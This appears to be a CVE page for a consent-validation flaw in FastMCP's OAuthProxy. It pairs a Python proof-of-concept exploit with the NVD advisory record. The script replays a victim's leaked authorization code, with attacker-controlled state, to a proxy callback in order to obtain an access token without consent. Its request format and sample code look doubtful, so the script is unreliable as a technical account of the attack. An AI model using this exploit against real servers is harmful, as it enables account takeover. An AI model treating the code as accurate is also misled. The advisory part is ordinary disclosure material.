CVE-2026-27124

# Conceptual Proof of Concept for CVE-2026-27124 # This script demonstrates the lack of consent validation in FastMCP OAuthProxy. # Attacker reuses a valid authorization code to gain access without fresh user consent. import requests def exploit_confused_deputy(proxy_url, victim_auth_code): """ Attempts to authenticate with the FastMCP OAuthProxy using a leaked or previously obtained authorization code without triggering a new consent screen. """ headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-27124-PoC-Client" } # The payload mimics the callback request from GitHub payload = { "code": victim_auth_code, "state": "attacker_controlled_state" } try: print(f"[*] Sending authorization code to {proxy_url}...") # In a vulnerable version (< 3.2.0), the proxy accepts the code # without verifying that the user explicitly approved this specific session. response = requests.post(proxy_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful!") if "access_token" in response.text or "session" in response.text: print("[+] Vulnerability confirmed: Access token granted without fresh consent.") print(f"[+] Response: {response.text}") else: print("[-] Response received but no token found. May require additional interaction.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example configuration TARGET_PROXY = "http://vulnerable-fastmcp-server:8080/oauth/callback" # A valid code that the victim previously authorized (GitHub reuses codes or skips consent) LEAKED_CODE = "gho_ExampleLeakedAuthorizationCode123" exploit_confused_deputy(TARGET_PROXY, LEAKED_CODE)

{"cve": {"id": "CVE-2026-27124", "sourceIdentifier": "[email protected]", "published": "2026-04-03T16:16:36.453", "lastModified": "2026-04-22T14:37:49.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastMCP is the standard framework for building MCP applications. Prior to version 3.2.0, while testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability. This issue has been patched in version 3.2.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jlowin:fastmcp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.0", "matchCriteriaId": "4247F36F-7D37-47DF-A475-E607F1BAD799"}]}]}], "references": [{"url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-rww4-4w9c-7733", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-rww4-4w9c-7733", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}